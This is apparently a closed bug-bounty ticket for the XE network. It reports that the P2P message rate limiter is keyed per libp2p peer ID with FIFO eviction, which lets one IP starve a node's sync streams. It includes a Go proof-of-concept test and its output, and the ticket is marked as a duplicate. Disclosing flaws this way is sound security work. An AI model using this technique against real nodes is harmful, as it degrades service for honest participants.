<!-- XE-0020 · net: message rate limit is keyed per libp2p peer ID, one IP can run 8 full-rate hosts (High) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0020>. The page is the record; this is the same page for reading.*

XE-0020 · Bounty

# net: message rate limit is keyed per libp2p peer ID, one IP can run 8 full-rate hosts (High)

Closed · duplicate
—claimed High
[xe#41](https://github.com/xeprotocol/xe/issues/41)
filed 2026-10-25 11:11 UTC
by byfor8

Verdict
:   Duplicate

Tier
:   —

Claimed
:   High

Area
:   P2P / sync

Duplicate of
:   [XE-0025](https://bounty.xe.network/XE-0025) accepted

Tracked
:   internally

Updated
:   2026-11-10 00:11 UTC

Told
:   2026-11-08 08:58 UTC

### Patches

None linked.

### History

- [21855](https://bounty.xe.network/log/21855) 2026-11-08 08:58 UTC reply.mirrored
- [21834](https://bounty.xe.network/log/21834) 2026-11-08 08:58 UTC reply.sent
- [21833](https://bounty.xe.network/log/21833) 2026-11-08 08:58 UTC proposal.adopted
- [4151](https://bounty.xe.network/log/4151) 2026-11-04 09:19 UTC proposal.created
- [887](https://bounty.xe.network/log/887) 2026-10-29 14:22 UTC github.state\_pushed
- [886](https://bounty.xe.network/log/886) 2026-10-29 14:22 UTC github.labels
- [706](https://bounty.xe.network/log/706) 2026-10-29 14:22 UTC ticket.status accepted → closed
- [705](https://bounty.xe.network/log/705) 2026-10-29 14:22 UTC ticket.facts area
- [620](https://bounty.xe.network/log/620) 2026-10-29 14:05 UTC github.labels
- [366](https://bounty.xe.network/log/366) 2026-10-29 14:04 UTC ticket.status triaging → accepted
- [365](https://bounty.xe.network/log/365) 2026-10-29 14:04 UTC ticket.status new → triaging
- [364](https://bounty.xe.network/log/364) 2026-10-29 14:04 UTC ticket.facts

[Full history](https://bounty.xe.network/log?ref=XE-0020) · [JSON](https://bounty.xe.network/v1/tickets/XE-0020) · [markdown](https://bounty.xe.network/XE-0020.md)

### Report

## Summary

The per-peer message rate limiter keys on the libp2p peer ID, which is a free generated ed25519 identity, not on the source IP address. The connection resource manager allows 8 concurrent connections per IPv4 address, so one host can run 8 long lived connections each with its own 50 RPS bucket, 400 attempted RPS against the 200 RPS global limiter, starving honest block, vote and certificate request streams on that node. The limiter table is also evicted insert-order, so cycling more than 2048 peer IDs resets victims' buckets.

## Affected component

net/msg.go, limiter constants at lines 26 to 31, keying on s.Conn().RemotePeer() at lines 76 to 80; net/ratelimit.go, evictOldestLocked at lines 99 to 108 (FIFO, not LRU); net/host.go connection limits at lines 39 to 41, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.

## Impact

One IP address can halve or worse the effective sync throughput of a target node: request streams are reset while the attacker's connections stay under their per-peer budgets. The global limiter is not bypassed, so this is starvation on one node, not a crash.

Suggested severity: High (sustained degradation a single client can cause). Confirmed by read-only source review.

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f9_test.go` (it joins the package's own test build), then:

```
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F9 ./net
```

**Test file** (`net/poc_f9_test.go`):

```
package net

import (
	"fmt"
	"os"
	"testing"
	"time"

	"github.com/libp2p/go-libp2p/core/peer"
)

// TestPoC_F9 drives the msg peerRateLimiter: identity is a cheap peer.ID,
// eviction is insert-order FIFO, and 8 hosts * 50 RPS exceeds the 200 RPS
// global cap. No libp2p network.
func TestPoC_F9(t *testing.T) {
	pass, detail := runF9()
	if pass {
		fmt.Println("PASS: F9 msg limiter is per peer.ID with FIFO eviction; 8*50 > 200 global")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F9 expected FIFO eviction of the victim bucket")
	fmt.Println(detail)
	os.Exit(0)
}

func runF9() (bool, string) {
	l := newPeerRateLimiter(msgPerPeerRPS, msgPerPeerBurst, msgGlobalRPS, msgGlobalBurst, msgLimiterPeers)
	victim := peer.ID("victim-peer-id-0000")

	// Consume the victim's burst so a later allow would fail if the bucket
	// is NOT evicted and replaced.
	consumed := 0
	for i := 0; i < msgPerPeerBurst+5; i++ {
		if l.allowPeer(victim) {
			consumed++
		}
	}
	deniedWhileHeld := !l.allowPeer(victim)

	start := time.Now()
	for i := 0; i < msgLimiterPeers; i++ {
		p := peer.ID(fmt.Sprintf("flood-%04d", i))
		if !l.allowPeer(p) {
			return false, fmt.Sprintf("flood peer %d unexpectedly denied", i)
		}
	}
	elapsed := time.Since(start)

	// Victim was the oldest insert. FIFO eviction dropped that bucket;
	// the next allow creates a fresh limiter with a full burst.
	restored := 0
	for i := 0; i < 50; i++ {
		if l.allowPeer(victim) {
			restored++
		}
	}

	eightTimesPeer := 8 * msgPerPeerRPS
	detail := fmt.Sprintf(
		"msgPerPeerRPS=%d burst=%d globalRPS=%d globalBurst=%d limiterPeers=%d
"+
			"8 hosts * %d RPS = %d attempted RPS vs global %d
"+
			"victim burst consumed=%d then denied=%v
"+
			"inserted %d later IDs in %s (FIFO evicts victim)
"+
			"victim immediate allows after eviction=%d (fresh burst, not leftover tokens)",
		msgPerPeerRPS, msgPerPeerBurst, msgGlobalRPS, msgGlobalBurst, msgLimiterPeers,
		msgPerPeerRPS, eightTimesPeer, msgGlobalRPS,
		consumed, deniedWhileHeld,
		msgLimiterPeers, elapsed.Round(time.Millisecond),
		restored,
	)
	ok := deniedWhileHeld && restored >= 40 && eightTimesPeer > msgGlobalRPS
	return ok, detail
}
```

## Fix suggestion

Key the limiter on remote IP (with per-peer limits layered on top) and evict by least-recently-used instead of insert order.

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F9
PASS: F9 msg limiter is per peer.ID with FIFO eviction; 8*50 > 200 global
msgPerPeerRPS=50 burst=200 globalRPS=200 globalBurst=400 limiterPeers=2048
8 hosts * 50 RPS = 400 attempted RPS vs global 200
victim burst consumed=200 then denied=true
inserted 2048 later IDs in 1ms (FIFO evicts victim)
victim immediate allows after eviction=50 (fresh burst, not leftover tokens)
--- PASS: TestPoC_F9 (0.00s)
PASS
ok  	github.com/xeprotocol/xe/net	0.017s
```

### Thread

**Joseph Denne**team2026-11-08 08:58 UTCgithub

Thanks. This is the same report as #47, which you filed a few seconds later with the fuller write-up; the desk keeps #47 (accepted, fix in PR #137) and closes this one as the duplicate. Nothing is lost, the credit sits on #47.
